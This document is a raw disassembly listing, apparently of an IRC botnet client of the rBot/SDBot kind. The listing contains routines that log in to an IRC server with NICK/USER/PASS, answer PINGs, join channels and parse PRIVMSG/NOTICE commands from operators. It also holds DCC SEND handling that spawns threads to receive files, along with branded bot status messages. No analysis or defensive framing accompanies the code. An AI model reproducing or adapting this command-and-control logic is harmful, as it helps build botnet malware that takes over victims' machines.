; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA91	proc near		; CODE XREF: sub_40C929+123p

var_1A10	= byte ptr -1A10h
var_A10		= byte ptr -0A10h
var_240		= byte ptr -240h
var_1A0		= byte ptr -1A0h
var_A0		= byte ptr -0A0h
var_20		= byte ptr -20h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 1A10h
		call	sub_413E60
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	2
		mov	[ebp+var_8], ebx
		lea	eax, [ebp+var_1A0]
		pop	ecx


loc_40CAAF:				; CODE XREF: sub_40CA91+26j
		mov	[eax], bl
		add	eax, 80h
		dec	ecx
		jnz	short loc_40CAAF
		cmp	byte_7420EC, bl
		jz	short loc_40CAD6
		push	offset byte_7420EC
		push	offset aPassS	; "PASS	%s\r\n"
		push	[ebp+arg_0]
		call	sub_40B26F
		add	esp, 0Ch


loc_40CAD6:				; CODE XREF: sub_40CA91+2Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_20]
		push	ebx
		push	ebx
		push	2
		push	eax
		call	sub_412AB7
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_C]
		push	offset aNickSUserS00S ;	"NICK %s\r\nUSER %s 0 0	:%s\r\n"
		push	eax
		call	sub_413812
		add	esp, 14h
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_413E90
		pop	ecx
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	dword_44CD28	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40CB40
		push	[ebp+arg_0]
		call	dword_44CD70	; closesocket
		push	1388h
		call	dword_41F050	; Sleep


loc_40CB39:				; CODE XREF: sub_40CA91+D9j
					; sub_40CA91+153j
		xor	eax, eax


loc_40CB3B:				; CODE XREF: sub_40CA91+173j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CB40:				; CODE XREF: sub_40CA91+92j
					; sub_40CA91+F8j ...
		mov	esi, 1000h
		lea	eax, [ebp+var_1A10]
		push	esi
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	eax, [ebp+var_1A10]
		push	ebx
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_44CCF4	; recv
		test	eax, eax
		jle	short loc_40CB39
		lea	eax, [ebp+var_A10]
		push	eax
		lea	eax, [ebp+var_1A10]
		push	eax
		call	sub_408327
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_4], ebx
		jle	short loc_40CB40
		lea	edi, [ebp+var_A10]


loc_40CB91:				; CODE XREF: sub_40CA91+165j
		push	1
		pop	esi


loc_40CB94:				; CODE XREF: sub_40CA91+144j
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		lea	eax, [ebp+var_240]
		push	eax
		lea	eax, [ebp+var_1A0]
		push	eax
		push	[ebp+arg_18]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40CC09
		add	esp, 2Ch
		dec	eax
		mov	esi, eax
		cmp	esi, ebx
		jle	short loc_40CBD7
		push	7D0h
		call	dword_41F050	; Sleep
		jmp	short loc_40CB94
; ---------------------------------------------------------------------------


loc_40CBD7:				; CODE XREF: sub_40CA91+137j
		cmp	esi, 0FFFFFFFDh
		jz	short loc_40CC01
		cmp	esi, 0FFFFFFFEh
		jz	short loc_40CBFD
		cmp	esi, 0FFFFFFFFh
		jz	loc_40CB39
		inc	[ebp+var_4]
		add	edi, 4
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_C]
		jl	short loc_40CB91
		jmp	loc_40CB40
; ---------------------------------------------------------------------------


loc_40CBFD:				; CODE XREF: sub_40CA91+14Ej
		push	1
		jmp	short loc_40CC03
; ---------------------------------------------------------------------------


loc_40CC01:				; CODE XREF: sub_40CA91+149j
		push	2


loc_40CC03:				; CODE XREF: sub_40CA91+16Ej
		pop	eax
		jmp	loc_40CB3B
sub_40CA91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CC09	proc near		; CODE XREF: sub_40CA91+12Ap

var_129C	= byte ptr -129Ch
var_E9C		= byte ptr -0E9Ch
var_D9C		= byte ptr -0D9Ch
var_C9C		= byte ptr -0C9Ch
var_C98		= byte ptr -0C98h
var_B98		= byte ptr -0B98h
var_A98		= byte ptr -0A98h
var_A94		= byte ptr -0A94h
var_994		= byte ptr -994h
var_914		= byte ptr -914h
var_8B3		= byte ptr -8B3h
var_8B2		= byte ptr -8B2h
var_8B0		= byte ptr -8B0h
var_8AF		= byte ptr -8AFh
var_8A6		= byte ptr -8A6h
var_8A4		= byte ptr -8A4h
var_8A2		= byte ptr -8A2h
var_8A1		= byte ptr -8A1h
var_814		= dword	ptr -814h
var_810		= byte ptr -810h
var_70C		= dword	ptr -70Ch
var_708		= dword	ptr -708h
var_704		= byte ptr -704h
var_6F8		= dword	ptr -6F8h
var_6F4		= dword	ptr -6F4h
var_6F0		= byte ptr -6F0h
var_688		= byte ptr -688h
var_678		= dword	ptr -678h
var_674		= byte ptr -674h
var_670		= byte ptr -670h
var_618		= dword	ptr -618h
var_610		= byte ptr -610h
var_604		= dword	ptr -604h
var_600		= byte ptr -600h
var_5FC		= byte ptr -5FCh
var_5F4		= byte ptr -5F4h
var_5F0		= byte ptr -5F0h
var_589		= byte ptr -589h
var_588		= byte ptr -588h
var_580		= byte ptr -580h
var_574		= byte ptr -574h
var_570		= byte ptr -570h
var_500		= byte ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= dword	ptr -4F8h
var_4F4		= dword	ptr -4F4h
var_4F0		= byte ptr -4F0h
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= byte ptr -464h
var_448		= byte ptr -448h
var_3F8		= dword	ptr -3F8h
var_3F4		= byte ptr -3F4h
var_3F0		= dword	ptr -3F0h
var_3EC		= byte ptr -3ECh
var_3E0		= dword	ptr -3E0h
var_3DC		= dword	ptr -3DCh
var_3D8		= byte ptr -3D8h
var_3AC		= byte ptr -3ACh
var_38C		= dword	ptr -38Ch
var_374		= byte ptr -374h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_360		= dword	ptr -360h
var_35C		= dword	ptr -35Ch
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_350		= dword	ptr -350h
var_34C		= dword	ptr -34Ch
var_348		= byte ptr -348h
var_344		= byte ptr -344h
var_330		= byte ptr -330h
var_320		= byte ptr -320h
var_30C		= dword	ptr -30Ch
var_308		= dword	ptr -308h
var_304		= byte ptr -304h
var_2F8		= dword	ptr -2F8h
var_2F4		= byte ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2C4		= byte ptr -2C4h
var_2A0		= byte ptr -2A0h
var_284		= byte ptr -284h
var_274		= byte ptr -274h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_204		= dword	ptr -204h
var_200		= dword	ptr -200h
var_1FC		= dword	ptr -1FCh
var_1F8		= dword	ptr -1F8h
var_1F4		= dword	ptr -1F4h
var_1F0		= dword	ptr -1F0h
var_1EC		= dword	ptr -1ECh
var_1E8		= dword	ptr -1E8h
var_1E4		= byte ptr -1E4h
var_1D8		= word ptr -1D8h
var_1D6		= word ptr -1D6h
var_1D4		= dword	ptr -1D4h
var_1C8		= dword	ptr -1C8h
var_1C4		= byte ptr -1C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= byte ptr -0A4h
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_54		= byte ptr -54h
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 129Ch
		call	sub_413E60
		push	ebx
		push	esi
		mov	esi, 0FFh
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_1C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_98], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_1C8], ebx
		call	sub_413890
		push	1Bh
		lea	eax, [ebp+var_464]
		push	[ebp+arg_10]
		push	eax
		call	sub_415140
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_40CFCD
		push	esi
		lea	eax, [ebp+var_B98]
		push	ebx
		push	eax
		call	sub_413890
		dec	esi
		lea	eax, [ebp+var_B98]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_415140
		lea	eax, [ebp+var_B98]
		push	offset asc_434610 ; " :"
		push	eax
		call	sub_413DE0
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_B98]
		push	esi
		push	eax
		lea	eax, [ebp+var_D9C]
		push	eax
		call	sub_415140
		mov	esi, offset asc_425148 ; " "
		lea	eax, [ebp+var_D9C]
		push	esi
		push	eax
		call	sub_4150A0
		add	esp, 34h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+var_A8], 1Fh


loc_40CCDC:				; CODE XREF: sub_40CC09+E7j
		push	esi
		push	ebx
		call	sub_4150A0
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_40CCDC
		mov	esi, [ebp+var_94]
		cmp	esi, ebx
		jz	loc_40CFCD
		cmp	[ebp+var_90], ebx
		jz	loc_40CFCD
		push	100h
		lea	eax, [ebp+var_914]
		push	ebx
		push	eax
		call	sub_413890
		add	esp, 0Ch
		lea	ecx, [ebp+var_18]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_40CD2A:				; CODE XREF: sub_40CC09+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_40CD56
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40CD5E
		cmp	[eax+2], bl
		jnz	short loc_40CD5E
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_914], 1
		mov	esi, [ebp+var_94]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_40CD56:				; CODE XREF: sub_40CC09+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_40CD2A


loc_40CD5E:				; CODE XREF: sub_40CC09+12Aj
					; sub_40CC09+12Fj
		cmp	[ebp+var_8A1], bl
		jz	short loc_40CD69
		mov	[ebp+var_8], edi


loc_40CD69:				; CODE XREF: sub_40CC09+15Bj
		cmp	[ebp+var_8A6], bl
		jz	short loc_40CD77
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_40CD77:				; CODE XREF: sub_40CC09+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_40CDB1
		push	7Fh
		lea	eax, [ebp+var_994]
		push	esi
		push	eax
		call	sub_415140
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_415140
		lea	eax, [ebp+var_C4]
		push	offset dword_42D588
		push	eax
		call	sub_4150A0
		add	esp, 20h


loc_40CDB1:				; CODE XREF: sub_40CC09+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CE02
		push	[ebp+var_90]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_40CEA6
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		add	esp, 10h
		jmp	loc_40CEA6
; ---------------------------------------------------------------------------


loc_40CE02:				; CODE XREF: sub_40CC09+1B7j
		mov	esi, [ebp+var_90]
		push	esi
		push	offset a001	; "001"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412307
		push	esi
		push	offset a005	; "005"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412307
		push	esi
		push	offset a302	; "302"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CE6D
		push	offset a@_6	; "@"
		push	[ebp+var_88]
		call	sub_413DE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40CEA6
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_415140
		add	esp, 0Ch
		jmp	short loc_40CEA6
; ---------------------------------------------------------------------------


loc_40CE6D:				; CODE XREF: sub_40CC09+238j
		push	esi
		push	offset a433	; "433"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CEAD
		push	ebx
		push	dword_7420DC
		push	dword_42A33C
		push	[ebp+arg_10]
		call	sub_412AB7
		push	[ebp+arg_10]
		push	offset aNickS_0	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		add	esp, 1Ch


loc_40CEA6:				; CODE XREF: sub_40CC09+1D8j
					; sub_40CC09+1F4j ...
		mov	eax, edi
		jmp	loc_40CFD0
; ---------------------------------------------------------------------------


loc_40CEAD:				; CODE XREF: sub_40CC09+273j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 2
		mov	edi, 80h


loc_40CEBF:				; CODE XREF: sub_40CC09+2DBj
		lea	eax, [ebp+var_994]
		push	eax
		push	esi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CEDC
		mov	[ebp+var_98], 1


loc_40CEDC:				; CODE XREF: sub_40CC09+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_40CEBF
		mov	esi, [ebp+var_90]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40CFD5
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 2


loc_40CF0B:				; CODE XREF: sub_40CC09+38Fj
		cmp	[esi], bl
		jz	loc_40CF93
		push	7Fh
		lea	eax, [ebp+var_994]
		push	esi
		push	eax
		call	sub_415140
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40CF93
		cmp	[ebp+var_88], ebx
		jz	short loc_40CF93
		push	[ebp+var_88]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CF93
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz_m_1 ; ".e.(1.0b) ( enz.m.d.l	) .»».	User %s	l"...
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_1C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_40B26F
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_409833
		add	esp, 20h


loc_40CF93:				; CODE XREF: sub_40CC09+304j
					; sub_40CC09+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_40CF0B
		push	[ebp+var_88]
		push	[ebp+arg_10]
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40CFCD
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_40CFC2:				; CODE XREF: sub_40CC09+615j
					; sub_40CC09+96Cj
		push	[ebp+arg_4]
		call	sub_40B26F


loc_40CFCA:				; CODE XREF: sub_40CC09+4D8Cj
					; sub_40CC09+4DA9j ...
		add	esp, 10h


loc_40CFCD:				; CODE XREF: sub_40CC09+5Bj
					; sub_40CC09+F1j ...
		push	1


loc_40CFCF:				; CODE XREF: sub_40CC09+52C0j
		pop	eax


loc_40CFD0:				; CODE XREF: sub_40CC09+29Fj
					; sub_40CC09+3860j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40CFD5:				; CODE XREF: sub_40CC09+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D12B
		mov	eax, [ebp+var_8C]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 2
		mov	[ebp+arg_24], eax


loc_40CFFE:				; CODE XREF: sub_40CC09+447j
		lea	eax, [ebp+var_994]
		push	eax
		push	esi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D04B
		lea	eax, [ebp+var_994]
		push	21h
		push	eax
		call	sub_415BA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_40D04B
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_414FB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_414FC0
		add	esp, 10h
		mov	edi, 80h


loc_40D04B:				; CODE XREF: sub_40CC09+406j
					; sub_40CC09+41Dj
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_40CFFE
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_40CFCD
		cmp	[ebp+arg_24], ebx
		jz	loc_40CFCD
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D093
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_415140
		add	esp, 0Ch
		jmp	loc_40CFCD
; ---------------------------------------------------------------------------


loc_40D093:				; CODE XREF: sub_40CC09+473j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40D098:				; CODE XREF: sub_40CC09+4B0j
		cmp	[edi], bl
		jz	short loc_40D0AF
		lea	eax, [ebp+var_994]
		push	eax
		push	edi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D0C0


loc_40D0AF:				; CODE XREF: sub_40CC09+491j
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D098
		jmp	loc_40CFCD
; ---------------------------------------------------------------------------


loc_40D0C0:				; CODE XREF: sub_40CC09+4A4j
		lea	eax, [ebp+var_994]
		push	21h
		push	eax
		call	sub_415BA0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_40CFCD
		push	eax
		call	sub_413E90
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_413E90
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_40CFCD
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS_2	; ":%s%s"
		push	esi
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_3AC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 24h
		jmp	loc_40CFCD
; ---------------------------------------------------------------------------


loc_40D12B:				; CODE XREF: sub_40CC09+3DBj
		push	esi
		push	offset aPart	; "PART"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D14D
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D174


loc_40D14D:				; CODE XREF: sub_40CC09+531j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40D152:				; CODE XREF: sub_40CC09+569j
		cmp	[edi], bl
		jz	short loc_40D168
		push	[ebp+var_94]
		push	edi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D1C2


loc_40D168:				; CODE XREF: sub_40CC09+54Bj
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40D152


loc_40D174:				; CODE XREF: sub_40CC09+542j
		push	[ebp+var_90]
		push	offset a353	; "353"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D223
		push	[ebp+var_84]
		push	[ebp+arg_8]
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D1AB
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40D1AB:				; CODE XREF: sub_40CC09+597j
		push	[ebp+var_84]
		push	offset a_e_1_0bEnz_m_2 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Joined ch"...


loc_40D1B6:				; CODE XREF: sub_40CC09+50F2j
					; sub_40CC09+5453j ...
		call	sub_4098A7
		pop	ecx


loc_40D1BC:				; CODE XREF: sub_40CC09+4F4Dj
		pop	ecx
		jmp	loc_40CFCD
; ---------------------------------------------------------------------------


loc_40D1C2:				; CODE XREF: sub_40CC09+55Dj
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bEnz_m_3 ; ".e.(1.0b) ( enz.m.d.l	) .»».	User: %s "...
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_409833
		push	[ebp+var_90]
		push	offset aPart	; "PART"
		call	sub_413C30
		add	esp, 18h
		test	eax, eax
		jnz	loc_40CFCD
		lea	eax, [ebp+var_1C4]
		push	eax
		mov	eax, [ebp+var_94]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_40CFC2
; ---------------------------------------------------------------------------


loc_40D223:				; CODE XREF: sub_40CC09+57Fj
		push	[ebp+var_90]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_413C30
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_40D277
		push	[ebp+var_90]
		push	edi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D277
		push	[ebp+var_90]
		push	offset dword_434504
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41217B
		cmp	dword_42A32C, ebx
		jz	loc_41217B


loc_40D277:				; CODE XREF: sub_40CC09+634j
					; sub_40CC09+646j
		push	[ebp+var_90]
		push	esi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D3FD
		push	[ebp+var_90]
		push	edi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40D3FD
		mov	eax, [ebp+var_88]
		inc	[ebp+var_84]
		push	4
		mov	[ebp+var_8C], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40D2BE:				; CODE XREF: sub_40CC09+8B0j
					; sub_40CC09+941j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_94]
		lea	edi, [ebp+esi+var_94]
		push	eax
		push	offset dword_4344FC
		mov	[ebp+arg_8], eax
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D6F4
		push	[ebp+esi+var_90]
		push	offset aSend_0	; "SEND"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D5B2
		cmp	[ebp+var_98], ebx
		jz	loc_40D58B
		push	[ebp+esi+var_8C]
		mov	edi, offset aS_3 ; "%s"
		lea	eax, [ebp+var_5FC]
		push	edi
		push	eax
		call	sub_413812
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_610]
		push	edi
		push	eax
		call	sub_413812
		push	[ebp+esi+var_84]
		call	sub_413D7F
		mov	[ebp+var_478], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_618], eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_4F8]
		push	eax
		call	sub_415140
		mov	eax, [ebp+var_4]
		mov	[ebp+var_470], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_4F8]
		push	eax
		lea	eax, [ebp+var_5FC]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bDcc_m_d ; ".e.(1.0b) ( dcc.m.d.l	) .»».	Receive	f"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	12h
		push	eax
		call	sub_4132BE
		add	esp, 44h
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_618]
		push	ebx
		push	eax
		push	offset sub_40A160
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_474]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	loc_40D57A


loc_40D3E7:				; CODE XREF: sub_40CC09+7F2j
		cmp	[ebp+var_468], ebx
		jnz	loc_410457
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_40D3E7
; ---------------------------------------------------------------------------


loc_40D3FD:				; CODE XREF: sub_40CC09+67Ej
					; sub_40CC09+694j
		push	[ebp+var_90]
		push	edi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40D416
		mov	[ebp+var_4], 1


loc_40D416:				; CODE XREF: sub_40CC09+804j
		cmp	[ebp+var_8C], ebx
		jz	loc_40CFCD
		push	(offset	loc_42218F+1)
		push	[ebp+var_8C]
		call	sub_413DE0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D43D
		cmp	[ebp+var_4], ebx
		jz	short loc_40D449


loc_40D43D:				; CODE XREF: sub_40CC09+82Dj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_8C], eax


loc_40D449:				; CODE XREF: sub_40CC09+832j
		cmp	[ebp+var_88], ebx
		jz	loc_40CFCD
		inc	[ebp+var_88]
		jz	short loc_40D495
		cmp	[ebp+arg_10], ebx
		jz	short loc_40D495
		lea	eax, [ebp+var_464]
		push	eax
		call	sub_413E90
		push	eax
		lea	eax, [ebp+var_464]
		push	[ebp+var_88]
		push	eax
		call	sub_4152D0
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40D49B
; ---------------------------------------------------------------------------


loc_40D495:				; CODE XREF: sub_40CC09+852j
					; sub_40CC09+857j
		mov	esi, [ebp+var_AC]


loc_40D49B:				; CODE XREF: sub_40CC09+88Aj
		mov	edi, [ebp+esi*4+var_94]
		cmp	edi, ebx
		jz	loc_40CFCD
		push	edi
		push	offset dword_4344A8
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D2BE
		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	short loc_40D53B
		mov	eax, dword_7420F4
		mov	eax, off_42A3F4[eax*4]
		cmp	[eax], bl
		jz	short loc_40D53B
		push	eax
		push	ecx
		push	offset dword_43448C
		push	[ebp+arg_4]
		call	sub_40B26F
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset aSHasJustVersio ; "%s has just versioned	me."
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_409833
		add	esp, 20h
		cmp	[ebp+var_98], ebx
		jnz	loc_40CFCD
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	1
		push	eax
		push	offset dword_741FF4


loc_40D52B:				; CODE XREF: sub_40CC09+4E56j
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h
		jmp	loc_40CFCD
; ---------------------------------------------------------------------------


loc_40D53B:				; CODE XREF: sub_40CC09+8BFj
					; sub_40CC09+8CFj
		push	edi
		push	offset dword_434468
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D2BE
		mov	eax, [ebp+esi*4+var_90]
		cmp	eax, ebx
		jz	loc_40D2BE
